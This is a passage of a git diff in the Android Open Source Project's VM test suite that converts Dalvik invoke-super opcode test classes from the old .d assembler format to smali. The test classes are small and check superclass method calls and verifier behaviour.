-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 8
-
-       invoke-super {v7}, dot/junit/opcodes/invoke_super/d/T_invoke_super_1/toInt()I
-
-       move-result v0
-       return v0
-.end method
-
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 777
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_1.smali
new file mode 100644
index 0000000..ee0681e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_1.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_1.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_1;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 8
+
+       invoke-super {v7}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_1;->toInt()I
+
+       move-result v0
+       return v0
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 777
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_10.d
deleted file mode 100644
index bc38f2f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_10.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_10
-.super java/lang/Object
-
-.method static <clinit>()V
-    return-void
-.end method
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-    invoke-super {v0}, dot.junit.opcodes.invoke_super.d.T_invoke_super_10/<clinit>()V
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_10.smali
new file mode 100644
index 0000000..8cef3ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_10.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_10;
+.super  Ljava/lang/Object;
+
+.method static constructor <clinit>()V
+.registers 0
+    return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+    invoke-super {v0}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_10;-><clinit>()V
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_11.d
deleted file mode 100644
index 97683ca..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_11.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_11.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-super {v6}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_11.smali
new file mode 100644
index 0000000..ac33c05
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_11.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_11.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-super {v6}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_12.d
deleted file mode 100644
index 0b6efa2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_12.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_12
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-
-.method public run()V
-.limit regs 8
-
-       invoke-super {v5, v5}, dot.junit.opcodes.invoke_super.d.T_invoke_super_12/testString(Ljava/lang/String;)V
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_12.smali
new file mode 100644
index 0000000..1f35f3c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_12.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_12;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 8
+
+       invoke-super {v5, v5}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_12;->testString(Ljava/lang/String;)V
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_13.d
deleted file mode 100644
index a030b72..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_13.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_13.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_13
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method private toIntPvt()I
-.limit regs 3
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-super {v2}, dot/junit/opcodes/invoke_super/d/T_invoke_super_13/toIntPvt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_13.smali
new file mode 100644
index 0000000..eadac0a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_13.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_13.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_13;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method private toIntPvt()I
+.registers 3
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_13;->toIntPvt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_14.d
deleted file mode 100644
index b70f691..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_14.d
+++ /dev/null
@@ -1,61 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_14.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_14
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 7
-
-    const v1, 123
-    const v2, 659
-    
-    const v3, 300
-    const v4, 3
-
-    invoke-super {v6, v3, v4}, dot/junit/opcodes/invoke_super/d/T_invoke_super_14/testArgsOrder(II)I
-
-    move-result v3
-    const v4, 100
-    if-ne v3, v4, Label0
-
-    const v4, 123
-    if-ne v1, v4, Label0
-
-    const v4, 659
-    if-ne v2, v4, Label0
-    
-    const v0, 1
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-.method public testArgsOrder(II)I
-.limit regs 4
-    const v0, 0
-    return v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_14.smali
new file mode 100644
index 0000000..5f45236
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_14.smali
@@ -0,0 +1,61 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_14.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_14;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 7
+
+    const v1, 123
+    const v2, 659
+    
+    const v3, 300
+    const v4, 3
+
+    invoke-super {v6, v3, v4}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_14;->testArgsOrder(II)I
+
+    move-result v3
+    const v4, 100
+    if-ne v3, v4, :Label0
+
+    const v4, 123
+    if-ne v1, v4, :Label0
+
+    const v4, 659
+    if-ne v2, v4, :Label0
+    
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+.method public testArgsOrder(II)I
+.registers 4
+    const v0, 0
+    return v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_15.d
deleted file mode 100644
index 32c2700..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_15.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-super {v2}, dot/junit/opcodes/invoke_super/d/T_invoke_super_15/testN()V
-       return-void
-.end method
-
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_15.smali
new file mode 100644
index 0000000..e5d3db6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_15.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_15;->testN()V
+       return-void
+.end method
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_16.d
deleted file mode 100644
index 92f6c2f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_16.d
+++ /dev/null
@@ -1,26 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_16.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 3
-       invoke-super {v2}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_16.smali
new file mode 100644
index 0000000..b2addd9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_16.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_16.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+       invoke-super {v2}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_17.d
deleted file mode 100644
index de24bf3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_17.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_17
-.super dot/junit/opcodes/invoke_super/d/TSuper2
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper2/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-super {v2}, dot/junit/opcodes/invoke_super/d/T_invoke_super_17/toInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_17.smali
new file mode 100644
index 0000000..e43dcc5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_17.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_17;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper2;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper2;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-super {v2}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_17;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_18.d
deleted file mode 100644
index e3d61e7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_18.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_18.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_18
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_super/TestStubs;)V
-.limit regs 5
-
-       invoke-super {v4}, dot/junit/opcodes/invoke_super/TestStubs/TestStub()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_18.smali
new file mode 100644
index 0000000..870b038
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_18.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_18.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_18;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_super/TestStubs;)V
+.registers 5
+
+       invoke-super {v4}, Ldot/junit/opcodes/invoke_super/TestStubs;->TestStub()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_19.d
deleted file mode 100644
index 847e743..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_19.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_19.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_19
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const/4 v2, 1
-       invoke-super {v3, v2}, dot/junit/opcodes/invoke_super/d/T_invoke_super_19/toInt(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_19.smali
new file mode 100644
index 0000000..0e0ef34
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_19.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_super_19.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/T_invoke_super_19;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const/4 v2, 1
+       invoke-super {v3, v2}, Ldot/junit/opcodes/invoke_super/d/T_invoke_super_19;->toInt(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_2.d
deleted file mode 100644
index 0144130..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_2.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
